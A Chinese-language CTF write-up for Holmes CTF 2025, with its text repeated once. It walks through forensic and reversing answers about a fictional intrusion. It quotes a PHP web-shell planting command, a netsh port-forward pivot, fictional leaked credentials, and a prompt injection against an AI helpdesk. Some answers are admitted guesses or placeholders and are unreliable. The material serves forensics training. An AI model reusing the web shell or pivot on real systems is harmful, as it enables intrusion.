Holmes CTF 2025 wp
字数 7840 2025-10-01 14:05:44

Holmes CTF 2025 取证与恶意软件分析实战教学文档

1. 赛事背景与题目概览

Holmes CTF 2025 是一场以数字取证和恶意软件分析为核心的技术竞赛。题目围绕虚构的 Cogwork-1 网络事件展开,参赛者需通过分析日志文件、网络流量、内存镜像、磁盘镜像等数字证据,还原攻击链并回答关键问题。

题目主要分为四大板块:

  • The Card:Web 日志分析与威胁狩猎
  • The Payload:恶意二进制文件逆向工程
  • The Tunnel Without Walls:Linux 内存取证
  • The Enduring Echo:Windows 事件日志与系统取证
  • The Watchman's Residue:网络流量分析与密码破解

2. The Card 部分:Web 日志分析与威胁狩猎

2.1 题目1:首次访问的 User-Agent

目标:确定攻击者首次访问蜜罐使用的 User-Agent
分析方法

  1. 打开 access.log,按时间排序(最早记录优先)。
  2. 第一行记录为 2025-05-01 08:23:12,对应的 User-Agent 为 Lilnunc/4A4D
    答案Lilnunc/4A4D

2.2 题目2:Web Shell 文件名

目标:找到攻击者部署的 Web Shell 文件名
分析方法

  1. access.log 中搜索 system($_GET["cmd"])(Web Shell 常见特征)。
  2. 发现记录:echo "<?php system($_GET[\"cmd\"]); ?>" > /var/www/html/uploads/temp_4A4D.php
    答案temp_4A4D.php

2.3 题目3:被窃取的数据库名称

目标:找到被窃取的数据库文件名
分析方法

  1. access.log 末尾附近搜索 database_dump.sql
  2. 发现记录:database_dump_4A4D.sql
    答案database_dump_4A4D.sql

2.4 题目4:重复出现的无意义字符串

目标:识别攻击活动中反复出现的字符串
分析方法

  • 在多个上下文中出现同一字符串:
    • User-Agent: Lilnunc/4A4D
    • Web Shell: temp_4A4D.php
    • 数据库文件: database_dump_4A4D.sql
    • Beacon ID: id=4A4D
    • 工具标识: 4A4D RetrieveR/1.0.0
      答案4A4D

2.5 题目5:蜜罐相关活动数量

目标:在 CTI 平台中统计与蜜罐相关的活动数量
分析方法

  1. 访问提供的 IP:端口(CTI 平台)。
  2. 使用筛选功能,过滤出与“蜜罐”(Honeypot)相关的记录。
  3. 统计结果为 5 条。
    答案5

2.6 题目6:攻击组织 JM 的节点数量

目标:统计与攻击组织 JM 相关的恶意软件和工具节点数量
分析方法

  1. 在 CTI 平台中,恶意软件节点标识为“细菌图标”,工具节点标识为“扳手图标”。
  2. 统计两者之和为 9。
    答案9

2.7 题目7:恶意软件 SHA-256 哈希值

目标:找到攻击者使用的恶意软件的 SHA-256 哈希
分析方法

  1. 在 CTI 平台中点击任意 JM 节点。
  2. 查看关联的“警告灯”节点,其中包含哈希值。
    答案:(具体哈希值需根据实际数据填写,格式为 64 位十六进制字符串)

2.8 题目8:恶意 IP 地址

目标:通过哈希值在第二个平台中搜索恶意 IP
分析方法

  1. 使用给定账号登录第二个平台。
  2. 将题目7的哈希值输入搜索框。
  3. 结果中显示的 IP 为 74.77.74.77
    答案74.77.74.77

2.9 题目9:恶意文件完整路径

目标:找到恶意文件在系统中的完整路径
分析方法

  1. 在第二个平台中查看该恶意文件的详细信息(Detail 页面)。
  2. 路径通常为 C:\Users\Public\Documents\malware.exe(具体路径依实际数据而定)。
    答案:(具体路径需根据实际数据填写)

2.10 题目10:恶意服务器开放端口数量

目标:在第三个平台(CogNet 扫描平台)中查找恶意 IP 的开放端口
分析方法

  1. 在第三个平台中搜索 IP 74.77.74.77
  2. 发现开放端口:22, 25, 53, 80, 110, 143, 443, 3389, 7477, 8080, 8443。
  3. 总数为 11。
    答案11

2.11 题目11:服务器防护软件

目标:识别服务器上运行的防护软件
分析方法

  1. 在第三个平台的 Detail 页面中查看软件信息。
  2. 答案为 SenseShield MSP
    答案SenseShield MSP

2.12 题目12:神秘横幅信息

目标:从开放端口的横幅中提取神秘信息
分析方法

  1. 在端口扫描结果中,查找未知(unknown)端口的横幅信息。
  2. 发现信息:The Payload
    答案The Payload

3. The Payload 部分:恶意二进制逆向工程

3.1 题目1:COM 初始化 DLL

目标:识别负责初始化 COM 库的 DLL
知识点:Windows COM 功能由 ole32.dll 提供,包含 CoInitialize 等函数。
答案ole32.dll


3.2 题目2:实例化 COM 对象的 GUID

目标:找到二进制文件中用于实例化 COM 对象的 GUID
分析方法

  1. 使用 IDA 反编译附件中的二进制文件。
  2. 在伪代码中查找 CoCreateInstance 调用。
  3. 第一个参数为 &GUID_dabcd999_1234_4567_89ab_1234567890ff
    答案DABCD999-1234-4567-89AB-1234567890FF

3.3 题目3:.NET 与原生代码桥接技术

目标:识别用于托管-非托管代码调用的 .NET 功能
知识点:.NET 中通过 P/Invoke(Platform Invoke)机制调用原生 API。
答案P/Invoke


3.4 题目4:调用托管函数的操作码

目标:找到反汇编中调用托管函数的操作码
知识点:在 .NET IL 中,实例方法调用使用 callvirt 操作码。
答案callvirt


3.5 题目5:密钥生成算法的常数

目标:找到密钥生成算法中的乘法和加法常数
分析方法

  1. 反编译代码,找到密钥生成逻辑。
  2. 发现算法:buf[i] = 7 * i + 66
  3. 乘法常数:7,加法常数:66(十六进制 0x42)。
    答案:乘法 7,加法 0x42

3.6 题目6:执行 Shellcode 的操作码

目标:识别执行 Shellcode 的机器指令操作码
分析方法

  1. ScanAndSpread 函数中查找 call rax 或类似指令。
  2. 对应机器码为 FF D0
    答案FF D0

3.7 题目7:解析域名的 Win32 API

目标:找到用于解析 killswitch 域名的 Win32 API
分析方法

  1. 在代码中查找域名解析相关调用。
  2. 发现 getaddrinfo 函数。
    答案getaddrinfo

3.8 题目8:枚举 SMB 共享的 API

目标:找到用于枚举 SMB 共享的 Win32 API
知识点NetShareEnum 是 Windows 中枚举网络共享的标准 API。
答案NetShareEnum


3.9 题目9:执行 Shellcode 的操作码(地址指定)

目标:在指定地址找到执行 Shellcode 的操作码
分析方法

  1. 在地址 00000001400023E4 处查看反汇编。
  2. 指令为 call rax,操作码 FF D0
    答案FF D0

3.10 题目10:Killswitch 域名与 Flag

目标:通过解密算法找到 killswitch 域名并获取 Flag
分析方法

  1. 分析加密逻辑(XOR + Base64)。
  2. 编写脚本爆破 XOR 密钥。
  3. 解密后得到域名,最终 Flag 为:
    HTB{Eternal_Companions_Reunited_Again}

4. The Tunnel Without Walls:Linux 内存取证

4.1 题目1:内核版本

目标:从内存镜像中提取 Linux 内核版本
分析方法

  1. 使用 Volatility 分析内存镜像。
  2. 运行命令:volatility -f memory.img linux.banner
  3. 得到版本:5.10.0-35-amd64
    答案5.10.0-35-amd64

5. The Enduring Echo:Windows 事件日志与系统取证

5.1 题目1:攻击者用户名

目标:从安全事件日志中识别攻击者用户名
分析方法

  1. 分析 Security.evtx,查找可疑登录或进程创建事件。
  2. 发现用户 Werni
    答案Werni

5.2 题目2:攻击者执行的首条命令

目标:找到攻击者执行的第一条非 cd 命令
分析方法

  1. 查看 ConsoleHost_history.txt(PowerShell 历史)。
  2. 第一条命令为 systeminfo
    答案systeminfo

5.3 题目3:横向移动工具

目标:识别用于横向移动的工具
知识点wmiexec.py 是常用的 WMI 远程执行工具,用于横向移动。
答案wmiexec.py


5.4 题目4:攻击者 IP

目标:找到攻击者的源 IP
分析方法

  1. 在事件日志中查找远程登录事件(事件 ID 4624)。
  2. 发现 IP 10.129.242.110
    答案10.129.242.110

5.5 题目5:伪装成的进程名

目标:找到攻击者伪装的进程名
分析方法

  1. 在日志中查找可疑进程创建事件。
  2. 发现进程名 SysHelper Update
    答案SysHelper Update

5.6 题目6:持久化脚本路径

目标:找到持久化脚本的完整路径
分析方法

  1. C:\Users\Werni\AppData\Local 发现 JM.ps1
  2. 日志证实该脚本被执行。
    答案C:\Users\Werni\AppData\Local\JM.ps1

5.7 题目7:被创建并使用的用户名

目标:识别被创建且用于登录的用户名
分析方法

  1. JM.ps1 中发现创建的用户:svc_netupd, svc_dns, sys_helper, WinTelemetry, UpdaterSvc
  2. 在日志中只有 svc_netupd 有登录记录。
    答案svc_netupd

5.8 题目8:C2 域名

目标:找到 C2 服务器域名
分析方法

  1. JM.ps1 中发现域名 NapoleonsBlackPearl.htb
    答案NapoleonsBlackPearl.htb

5.9 题目9:密码

目标:找到攻击者使用的密码
分析方法

  1. JM.ps1 中发现密码生成规则:Watson_时间戳
  2. 爆破时间戳后得到:Watson_20250824160509
    答案Watson_20250824160509

5.10 题目10:内部系统 IP

目标:找到攻击者转向的内部系统 IP
分析方法

  1. 查看 C:\Users\Administrator\.ssh\known_hosts
  2. 发现 IP 192.168.1.101
    答案192.168.1.101

5.11 题目11:被转发的端口

目标:找到被转发以启用转向的本地端口
分析方法

  1. 在事件日志中查找 netsh 命令。
  2. 发现端口转发规则:0.0.0.0:9999 -> 192.168.1.101:22
  3. 本地端口为 9999
    答案9999

5.12 题目12:端口转发注册表路径

目标:找到存储端口转发规则的注册表路径
知识点netsh portproxy 规则存储在:
HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp
答案HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp


5.13 题目13:MITRE ATT&CK 技术

目标:识别端口转发对应的 MITRE ATT&CK 技术
知识点:端口转发属于 Internal Proxy(T1090.001)。
答案T1090.001


5.14 题目14:启用命令行日志记录的命令

目标:找到启用命令行日志记录的命令
分析方法

  1. 查看管理员 PowerShell 历史。
  2. 发现命令:
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
    答案reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

6. The Watchman's Residue:网络流量分析与密码破解

6.1 题目1:攻击者 IP

目标:找到攻击者使用的已退役机器 IP
分析方法

  1. 分析 msp-helpdesk-ai-day-5982-section-5-traffic.pcapng
  2. 搜索关键词 password,追踪 TCP 流。
  3. 发现 IP 10.0.69.45
    答案10.0.69.45

6.2 题目2:第一条消息

目标:找到攻击者发送的第一条消息
分析方法

  1. 过滤 IP 10.0.69.45 的 HTTP 请求。
  2. 第一条消息为 Hello Old Friend
    答案Hello Old Friend

6.3 题目3:提示注入时间

目标:找到提示注入导致信息泄露的时间
分析方法

  1. 查找包含敏感信息(如 TeamViewer 凭证)的 HTTP 响应。
  2. 时间点为 2025-08-19 12:02:06
    答案2025-08-19 12:02:06

6.4 题目4:TeamViewer 凭证

目标:找到泄露的 TeamViewer 设备 ID 和密码
分析方法

  1. 在流量包中搜索 passwordTeamViewer
  2. 发现凭证:565963039:CogWork_Central_97&65
    答案565963039:CogWork_Central_97&65

6.5 题目5:最后一条消息

目标:找到攻击者发送的最后一条消息
分析方法

  1. 过滤攻击者 IP 的 HTTP 请求,按时间排序。
  2. 最后一条消息为 JM WILL BE BACK
    答案JM WILL BE BACK

6.6 题目6:远程访问时间

目标:找到攻击者远程访问的时间
分析方法

  1. 查看 Connections_incoming.log(TeamViewer 日志)。
  2. 找到连接记录:2025-08-20 10:14:27
    答案2025-08-20 10:14:27

6.7 题目7:RMM 账户名

目标:找到攻击者使用的 RMM 账户名
分析方法

  1. Connections_incoming.log 中查看账户名。
  2. 发现 James Moriarty
    答案James Moriarty

6.8 题目8:攻击者内部 IP

目标:找到攻击者连接时使用的内部 IP
分析方法

  1. 在 TeamViewer 日志中查找 UDP 穿透记录。
  2. 发现 IP 192.168.69.213
    答案192.168.69.213

6.9 题目9:会话结束时间

目标:找到恶意 RMM 会话结束的时间
分析方法

  1. Connections_incoming.log 中查找会话结束记录。
  2. 时间为 2025-08-20 11:14:27(注意时区差异)。
    答案2025-08-20 11:14:27

6.10 题目10:Heisen-9-WS-6 凭证

目标:从 KeePass 数据库中提取凭证
分析方法

  1. 使用 Hashcat 爆破 critical.kdbx 的密码(密码为 cutiepie14)。
  2. 打开数据库,找到凭证 Werni:Quantum1!
    答案Werni:Quantum1!

7. 总结与核心知识点

7.1 核心技能

  • 日志分析:Apache 访问日志、Windows 事件日志、PowerShell 历史、TeamViewer 日志。
  • 网络取证:Wireshark 流量分析、HTTP 协议追踪、数据提取。
  • 恶意软件分析:IDA 反编译、.NET 与原生代码交互、Shellcode 分析。
  • 内存取证:Volatility 使用、Linux 内核信息提取。
  • 密码破解:Hashcat 爆破 KeePass 数据库。

7.2 防御建议

  • 启用命令行日志记录(注册表键 ProcessCreationIncludeCmdLine_Enabled)。
  • 监控敏感注册表路径(如 PortProxy)。
  • 检测异常 User-Agent 和 Web Shell 文件上传行为。
  • 限制内部设备的出站连接(防止反向 Shell)。
  • 使用强密码并定期更换,避免密码重用。

7.3 工具推荐

  • 日志分析:Event Viewer, EvtxECmd, PowerShell
  • 网络分析:Wireshark, tcpdump
  • 逆向工程:IDA Pro, Ghidra, ILSpy
  • 内存取证:Volatility 3, Rekall
  • 密码破解:Hashcat, John the Ripper

注意:部分答案(如哈希值、具体路径)需根据实际题目数据填写。本文档基于通用方法论编写,实操时需灵活调整。

Holmes CTF 2025 取证与恶意软件分析实战教学文档 1. 赛事背景与题目概览 Holmes CTF 2025 是一场以数字取证和恶意软件分析为核心的技术竞赛。题目围绕虚构的 Cogwork-1 网络事件展开,参赛者需通过分析日志文件、网络流量、内存镜像、磁盘镜像等数字证据,还原攻击链并回答关键问题。 题目主要分为四大板块: The Card :Web 日志分析与威胁狩猎 The Payload :恶意二进制文件逆向工程 The Tunnel Without Walls :Linux 内存取证 The Enduring Echo :Windows 事件日志与系统取证 The Watchman's Residue :网络流量分析与密码破解 2. The Card 部分:Web 日志分析与威胁狩猎 2.1 题目1:首次访问的 User-Agent 目标 :确定攻击者首次访问蜜罐使用的 User-Agent 分析方法 : 打开 access.log ,按时间排序(最早记录优先)。 第一行记录为 2025-05-01 08:23:12 ,对应的 User-Agent 为 Lilnunc/4A4D 。 答案 : Lilnunc/4A4D 2.2 题目2:Web Shell 文件名 目标 :找到攻击者部署的 Web Shell 文件名 分析方法 : 在 access.log 中搜索 system($_GET["cmd"]) (Web Shell 常见特征)。 发现记录: echo "<?php system($_GET[\"cmd\"]); ?>" > /var/www/html/uploads/temp_4A4D.php 。 答案 : temp_4A4D.php 2.3 题目3:被窃取的数据库名称 目标 :找到被窃取的数据库文件名 分析方法 : 在 access.log 末尾附近搜索 database_dump 或 .sql 。 发现记录: database_dump_4A4D.sql 。 答案 : database_dump_4A4D.sql 2.4 题目4:重复出现的无意义字符串 目标 :识别攻击活动中反复出现的字符串 分析方法 : 在多个上下文中出现同一字符串: User-Agent: Lilnunc/4A4D Web Shell: temp_4A4D.php 数据库文件: database_dump_4A4D.sql Beacon ID: id=4A4D 工具标识: 4A4D RetrieveR/1.0.0 答案 : 4A4D 2.5 题目5:蜜罐相关活动数量 目标 :在 CTI 平台中统计与蜜罐相关的活动数量 分析方法 : 访问提供的 IP:端口(CTI 平台)。 使用筛选功能,过滤出与“蜜罐”(Honeypot)相关的记录。 统计结果为 5 条。 答案 : 5 2.6 题目6:攻击组织 JM 的节点数量 目标 :统计与攻击组织 JM 相关的恶意软件和工具节点数量 分析方法 : 在 CTI 平台中,恶意软件节点标识为“细菌图标”,工具节点标识为“扳手图标”。 统计两者之和为 9。 答案 : 9 2.7 题目7:恶意软件 SHA-256 哈希值 目标 :找到攻击者使用的恶意软件的 SHA-256 哈希 分析方法 : 在 CTI 平台中点击任意 JM 节点。 查看关联的“警告灯”节点,其中包含哈希值。 答案 :(具体哈希值需根据实际数据填写,格式为 64 位十六进制字符串) 2.8 题目8:恶意 IP 地址 目标 :通过哈希值在第二个平台中搜索恶意 IP 分析方法 : 使用给定账号登录第二个平台。 将题目7的哈希值输入搜索框。 结果中显示的 IP 为 74.77.74.77 。 答案 : 74.77.74.77 2.9 题目9:恶意文件完整路径 目标 :找到恶意文件在系统中的完整路径 分析方法 : 在第二个平台中查看该恶意文件的详细信息(Detail 页面)。 路径通常为 C:\Users\Public\Documents\malware.exe (具体路径依实际数据而定)。 答案 :(具体路径需根据实际数据填写) 2.10 题目10:恶意服务器开放端口数量 目标 :在第三个平台(CogNet 扫描平台)中查找恶意 IP 的开放端口 分析方法 : 在第三个平台中搜索 IP 74.77.74.77 。 发现开放端口:22, 25, 53, 80, 110, 143, 443, 3389, 7477, 8080, 8443。 总数为 11。 答案 : 11 2.11 题目11:服务器防护软件 目标 :识别服务器上运行的防护软件 分析方法 : 在第三个平台的 Detail 页面中查看软件信息。 答案为 SenseShield MSP 。 答案 : SenseShield MSP 2.12 题目12:神秘横幅信息 目标 :从开放端口的横幅中提取神秘信息 分析方法 : 在端口扫描结果中,查找未知(unknown)端口的横幅信息。 发现信息: The Payload 。 答案 : The Payload 3. The Payload 部分:恶意二进制逆向工程 3.1 题目1:COM 初始化 DLL 目标 :识别负责初始化 COM 库的 DLL 知识点 :Windows COM 功能由 ole32.dll 提供,包含 CoInitialize 等函数。 答案 : ole32.dll 3.2 题目2:实例化 COM 对象的 GUID 目标 :找到二进制文件中用于实例化 COM 对象的 GUID 分析方法 : 使用 IDA 反编译附件中的二进制文件。 在伪代码中查找 CoCreateInstance 调用。 第一个参数为 &GUID_dabcd999_1234_4567_89ab_1234567890ff 。 答案 : DABCD999-1234-4567-89AB-1234567890FF 3.3 题目3:.NET 与原生代码桥接技术 目标 :识别用于托管-非托管代码调用的 .NET 功能 知识点 :.NET 中通过 P/Invoke(Platform Invoke)机制调用原生 API。 答案 : P/Invoke 3.4 题目4:调用托管函数的操作码 目标 :找到反汇编中调用托管函数的操作码 知识点 :在 .NET IL 中,实例方法调用使用 callvirt 操作码。 答案 : callvirt 3.5 题目5:密钥生成算法的常数 目标 :找到密钥生成算法中的乘法和加法常数 分析方法 : 反编译代码,找到密钥生成逻辑。 发现算法: buf[i] = 7 * i + 66 。 乘法常数: 7 ,加法常数: 66 (十六进制 0x42 )。 答案 :乘法 7 ,加法 0x42 3.6 题目6:执行 Shellcode 的操作码 目标 :识别执行 Shellcode 的机器指令操作码 分析方法 : 在 ScanAndSpread 函数中查找 call rax 或类似指令。 对应机器码为 FF D0 。 答案 : FF D0 3.7 题目7:解析域名的 Win32 API 目标 :找到用于解析 killswitch 域名的 Win32 API 分析方法 : 在代码中查找域名解析相关调用。 发现 getaddrinfo 函数。 答案 : getaddrinfo 3.8 题目8:枚举 SMB 共享的 API 目标 :找到用于枚举 SMB 共享的 Win32 API 知识点 : NetShareEnum 是 Windows 中枚举网络共享的标准 API。 答案 : NetShareEnum 3.9 题目9:执行 Shellcode 的操作码(地址指定) 目标 :在指定地址找到执行 Shellcode 的操作码 分析方法 : 在地址 00000001400023E4 处查看反汇编。 指令为 call rax ,操作码 FF D0 。 答案 : FF D0 3.10 题目10:Killswitch 域名与 Flag 目标 :通过解密算法找到 killswitch 域名并获取 Flag 分析方法 : 分析加密逻辑(XOR + Base64)。 编写脚本爆破 XOR 密钥。 解密后得到域名,最终 Flag 为: HTB{Eternal_Companions_Reunited_Again} 4. The Tunnel Without Walls:Linux 内存取证 4.1 题目1:内核版本 目标 :从内存镜像中提取 Linux 内核版本 分析方法 : 使用 Volatility 分析内存镜像。 运行命令: volatility -f memory.img linux.banner 。 得到版本: 5.10.0-35-amd64 。 答案 : 5.10.0-35-amd64 5. The Enduring Echo:Windows 事件日志与系统取证 5.1 题目1:攻击者用户名 目标 :从安全事件日志中识别攻击者用户名 分析方法 : 分析 Security.evtx ,查找可疑登录或进程创建事件。 发现用户 Werni 。 答案 : Werni 5.2 题目2:攻击者执行的首条命令 目标 :找到攻击者执行的第一条非 cd 命令 分析方法 : 查看 ConsoleHost_history.txt (PowerShell 历史)。 第一条命令为 systeminfo 。 答案 : systeminfo 5.3 题目3:横向移动工具 目标 :识别用于横向移动的工具 知识点 : wmiexec.py 是常用的 WMI 远程执行工具,用于横向移动。 答案 : wmiexec.py 5.4 题目4:攻击者 IP 目标 :找到攻击者的源 IP 分析方法 : 在事件日志中查找远程登录事件(事件 ID 4624)。 发现 IP 10.129.242.110 。 答案 : 10.129.242.110 5.5 题目5:伪装成的进程名 目标 :找到攻击者伪装的进程名 分析方法 : 在日志中查找可疑进程创建事件。 发现进程名 SysHelper Update 。 答案 : SysHelper Update 5.6 题目6:持久化脚本路径 目标 :找到持久化脚本的完整路径 分析方法 : 在 C:\Users\Werni\AppData\Local 发现 JM.ps1 。 日志证实该脚本被执行。 答案 : C:\Users\Werni\AppData\Local\JM.ps1 5.7 题目7:被创建并使用的用户名 目标 :识别被创建且用于登录的用户名 分析方法 : 在 JM.ps1 中发现创建的用户: svc_netupd , svc_dns , sys_helper , WinTelemetry , UpdaterSvc 。 在日志中只有 svc_netupd 有登录记录。 答案 : svc_netupd 5.8 题目8:C2 域名 目标 :找到 C2 服务器域名 分析方法 : 在 JM.ps1 中发现域名 NapoleonsBlackPearl.htb 。 答案 : NapoleonsBlackPearl.htb 5.9 题目9:密码 目标 :找到攻击者使用的密码 分析方法 : 在 JM.ps1 中发现密码生成规则: Watson_时间戳 。 爆破时间戳后得到: Watson_20250824160509 。 答案 : Watson_20250824160509 5.10 题目10:内部系统 IP 目标 :找到攻击者转向的内部系统 IP 分析方法 : 查看 C:\Users\Administrator\.ssh\known_hosts 。 发现 IP 192.168.1.101 。 答案 : 192.168.1.101 5.11 题目11:被转发的端口 目标 :找到被转发以启用转向的本地端口 分析方法 : 在事件日志中查找 netsh 命令。 发现端口转发规则: 0.0.0.0:9999 -> 192.168.1.101:22 。 本地端口为 9999 。 答案 : 9999 5.12 题目12:端口转发注册表路径 目标 :找到存储端口转发规则的注册表路径 知识点 : netsh portproxy 规则存储在: HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp 答案 : HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp 5.13 题目13:MITRE ATT&CK 技术 目标 :识别端口转发对应的 MITRE ATT&CK 技术 知识点 :端口转发属于 Internal Proxy(T1090.001)。 答案 : T1090.001 5.14 题目14:启用命令行日志记录的命令 目标 :找到启用命令行日志记录的命令 分析方法 : 查看管理员 PowerShell 历史。 发现命令: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f 答案 : reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f 6. The Watchman's Residue:网络流量分析与密码破解 6.1 题目1:攻击者 IP 目标 :找到攻击者使用的已退役机器 IP 分析方法 : 分析 msp-helpdesk-ai-day-5982-section-5-traffic.pcapng 。 搜索关键词 password ,追踪 TCP 流。 发现 IP 10.0.69.45 。 答案 : 10.0.69.45 6.2 题目2:第一条消息 目标 :找到攻击者发送的第一条消息 分析方法 : 过滤 IP 10.0.69.45 的 HTTP 请求。 第一条消息为 Hello Old Friend 。 答案 : Hello Old Friend 6.3 题目3:提示注入时间 目标 :找到提示注入导致信息泄露的时间 分析方法 : 查找包含敏感信息(如 TeamViewer 凭证)的 HTTP 响应。 时间点为 2025-08-19 12:02:06 。 答案 : 2025-08-19 12:02:06 6.4 题目4:TeamViewer 凭证 目标 :找到泄露的 TeamViewer 设备 ID 和密码 分析方法 : 在流量包中搜索 password 或 TeamViewer 。 发现凭证: 565963039:CogWork_Central_97&65 。 答案 : 565963039:CogWork_Central_97&65 6.5 题目5:最后一条消息 目标 :找到攻击者发送的最后一条消息 分析方法 : 过滤攻击者 IP 的 HTTP 请求,按时间排序。 最后一条消息为 JM WILL BE BACK 。 答案 : JM WILL BE BACK 6.6 题目6:远程访问时间 目标 :找到攻击者远程访问的时间 分析方法 : 查看 Connections_incoming.log (TeamViewer 日志)。 找到连接记录: 2025-08-20 10:14:27 。 答案 : 2025-08-20 10:14:27 6.7 题目7:RMM 账户名 目标 :找到攻击者使用的 RMM 账户名 分析方法 : 在 Connections_incoming.log 中查看账户名。 发现 James Moriarty 。 答案 : James Moriarty 6.8 题目8:攻击者内部 IP 目标 :找到攻击者连接时使用的内部 IP 分析方法 : 在 TeamViewer 日志中查找 UDP 穿透记录。 发现 IP 192.168.69.213 。 答案 : 192.168.69.213 6.9 题目9:会话结束时间 目标 :找到恶意 RMM 会话结束的时间 分析方法 : 在 Connections_incoming.log 中查找会话结束记录。 时间为 2025-08-20 11:14:27 (注意时区差异)。 答案 : 2025-08-20 11:14:27 6.10 题目10:Heisen-9-WS-6 凭证 目标 :从 KeePass 数据库中提取凭证 分析方法 : 使用 Hashcat 爆破 critical.kdbx 的密码(密码为 cutiepie14 )。 打开数据库,找到凭证 Werni:Quantum1! 。 答案 : Werni:Quantum1! 7. 总结与核心知识点 7.1 核心技能 日志分析 :Apache 访问日志、Windows 事件日志、PowerShell 历史、TeamViewer 日志。 网络取证 :Wireshark 流量分析、HTTP 协议追踪、数据提取。 恶意软件分析 :IDA 反编译、.NET 与原生代码交互、Shellcode 分析。 内存取证 :Volatility 使用、Linux 内核信息提取。 密码破解 :Hashcat 爆破 KeePass 数据库。 7.2 防御建议 启用命令行日志记录(注册表键 ProcessCreationIncludeCmdLine_Enabled )。 监控敏感注册表路径(如 PortProxy )。 检测异常 User-Agent 和 Web Shell 文件上传行为。 限制内部设备的出站连接(防止反向 Shell)。 使用强密码并定期更换,避免密码重用。 7.3 工具推荐 日志分析 :Event Viewer, EvtxECmd, PowerShell 网络分析 :Wireshark, tcpdump 逆向工程 :IDA Pro, Ghidra, ILSpy 内存取证 :Volatility 3, Rekall 密码破解 :Hashcat, John the Ripper 注意 :部分答案(如哈希值、具体路径)需根据实际题目数据填写。本文档基于通用方法论编写,实操时需灵活调整。